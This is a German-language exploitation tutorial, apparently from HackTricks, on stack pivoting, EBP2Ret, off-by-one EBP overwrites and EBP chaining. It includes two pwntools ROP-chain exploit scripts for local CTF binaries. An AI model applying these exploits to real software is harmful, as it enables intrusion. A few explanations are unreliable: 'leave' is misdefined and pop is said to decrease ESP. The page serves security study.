Stack Pivoting - EBP2Ret - EBP chaining

Unterstütze HackTricks

Grundinformationen

Diese Technik nutzt die Fähigkeit, den Basiszeiger (EBP) zu manipulieren, um die Ausführung mehrerer Funktionen durch sorgfältige Verwendung des EBP-Registers und der leave; ret Instruktionssequenz zu verketten.

Zur Erinnerung, leave bedeutet im Grunde:

mov       ebp, esp
pop       ebp
ret

And as the EBP ist im Stack vor dem EIP, ist es möglich, ihn zu kontrollieren, indem man den Stack kontrolliert.

EBP2Ret

Diese Technik ist besonders nützlich, wenn Sie das EBP-Register ändern, aber keinen direkten Weg haben, das EIP-Register zu ändern. Sie nutzt das Verhalten von Funktionen, wenn sie die Ausführung beenden.

Wenn Sie während der Ausführung von fvuln ein falsches EBP in den Stack injizieren, das auf einen Bereich im Speicher zeigt, wo sich die Adresse Ihres Shellcodes befindet (plus 4 Bytes für die pop-Operation), können Sie indirekt das EIP kontrollieren. Wenn fvuln zurückkehrt, wird der ESP auf diesen gestalteten Ort gesetzt, und die nachfolgende pop-Operation verringert ESP um 4, was effektiv auf eine Adresse zeigt, die vom Angreifer dort gespeichert wurde. Beachten Sie, dass Sie 2 Adressen wissen müssen: Die, zu der ESP gehen wird, wo Sie die Adresse schreiben müssen, auf die ESP zeigt.

Exploit-Konstruktion

Zuerst müssen Sie eine Adresse kennen, an die Sie beliebige Daten / Adressen schreiben können. Der ESP wird hierhin zeigen und die erste ret ausführen.

Dann müssen Sie die Adresse kennen, die von ret verwendet wird, um beliebigen Code auszuführen. Sie könnten verwenden:

  • Eine gültige ONE_GADGET Adresse.

  • Die Adresse von system() gefolgt von 4 Junk-Bytes und der Adresse von "/bin/sh" (x86-Bits).

  • Die Adresse eines jump esp; Gadgets (ret2esp) gefolgt vom Shellcode, der ausgeführt werden soll.

  • Eine ROP Kette

Denken Sie daran, dass vor einer dieser Adressen im kontrollierten Teil des Speichers 4 Bytes vorhanden sein müssen, wegen des pop-Teils der leave-Anweisung. Es wäre möglich, diese 4B auszunutzen, um ein zweites falsches EBP zu setzen und die Ausführung weiter zu kontrollieren.

Off-By-One Exploit

Es gibt eine spezifische Variante dieser Technik, die als "Off-By-One Exploit" bekannt ist. Sie wird verwendet, wenn Sie nur das am wenigsten signifikante Byte des EBP ändern können. In einem solchen Fall muss der Speicherort, der die Adresse speichert, zu der mit dem ret gesprungen werden soll, die ersten drei Bytes mit dem EBP teilen, was eine ähnliche Manipulation unter restriktiveren Bedingungen ermöglicht. In der Regel wird das Byte 0x00 geändert, um so weit wie möglich zu springen.

Es ist auch üblich, einen RET-Sled im Stack zu verwenden und die echte ROP-Kette am Ende zu platzieren, um die Wahrscheinlichkeit zu erhöhen, dass der neue ESP innerhalb des RET-SLED zeigt und die endgültige ROP-Kette ausgeführt wird.

EBP-Kettung

Daher ist es möglich, eine kontrollierte Adresse im EBP-Eintrag des Stacks und eine Adresse zu leave; ret im EIP zu setzen, um den ESP zur kontrollierten EBP-Adresse aus dem Stack zu bewegen.

Jetzt wird der ESP kontrolliert und zeigt auf eine gewünschte Adresse, und die nächste auszuführende Anweisung ist ein RET. Um dies auszunutzen, ist es möglich, an der kontrollierten ESP-Stelle Folgendes zu platzieren:

  • &(nächstes falsches EBP) -> Lädt das neue EBP wegen pop ebp von der leave-Anweisung

  • system() -> Aufgerufen von ret

  • &(leave;ret) -> Aufgerufen, nachdem das System endet, wird es ESP zum falschen EBP bewegen und erneut starten

  • &("/bin/sh")-> Parameter für system

Grundsätzlich ist es auf diese Weise möglich, mehrere falsche EBPs zu verketten, um den Fluss des Programms zu kontrollieren.

Das ist wie ein ret2lib, aber komplexer ohne offensichtlichen Vorteil, könnte aber in einigen Grenzfällen interessant sein.

Darüber hinaus haben Sie hier ein Beispiel für eine Herausforderung, das diese Technik mit einem Stack-Leak verwendet, um eine gewinnende Funktion aufzurufen. Dies ist die endgültige Payload von der Seite:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)

payload += flat(
buffer,         # Load leak address in RBP
LEAVE_RET       # Use leave ro move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

EBP könnte nicht verwendet werden

Wie in diesem Beitrag erklärt, wenn ein Binary mit einigen Optimierungen kompiliert wird, hat EBP niemals die Kontrolle über ESP, daher wird jeder Exploit, der durch die Kontrolle von EBP funktioniert, im Grunde scheitern, weil er keinen echten Effekt hat. Das liegt daran, dass sich die Prolog- und Epilog-Änderungen ändern, wenn das Binary optimiert ist.

  • Nicht optimiert:

push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • Optimiert:

push   %ebx         # save ebx
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore ebx
ret                 # return

Andere Möglichkeiten, RSP zu steuern

pop rsp Gadget

Auf dieser Seite finden Sie ein Beispiel, das diese Technik verwendet. Für diese Herausforderung war es notwendig, eine Funktion mit 2 spezifischen Argumenten aufzurufen, und es gab ein pop rsp Gadget und es gibt einen leak vom Stack:

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg <reg>, rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

Überprüfen Sie die ret2esp-Technik hier:

Ret2esp / Ret2reg

Referenzen & Weitere Beispiele

ARM64

In ARM64 speichern und rufen die Prologe und Epiloge der Funktionen das SP-Register nicht im Stack ab. Darüber hinaus gibt die RET-Anweisung nicht die Adresse zurück, die von SP angezeigt wird, sondern die Adresse in x30.

Daher können Sie standardmäßig, nur durch den Missbrauch des Epilogs, das SP-Register nicht kontrollieren, indem Sie einige Daten im Stack überschreiben. Und selbst wenn Sie es schaffen, das SP zu kontrollieren, benötigen Sie immer noch eine Möglichkeit, das x30-Register zu kontrollieren.

  • Prolog

sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP zeigt auf den Rahmen
  • Epilog

ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

Der Weg, um etwas Ähnliches wie Stack-Pivoting in ARM64 durchzuführen, wäre, in der Lage zu sein, das SP zu kontrollieren (indem Sie ein Register kontrollieren, dessen Wert an SP übergeben wird, oder weil aus irgendeinem Grund SP seine Adresse vom Stack bezieht und wir einen Overflow haben) und dann den Epilog zu missbrauchen, um das x30-Register von einem kontrollierten SP zu laden und dorthin zurückzukehren.

Auch auf der folgenden Seite können Sie das Äquivalent von Ret2esp in ARM64 sehen:

Ret2esp / Ret2reg
HackTricks unterstützen

Last updated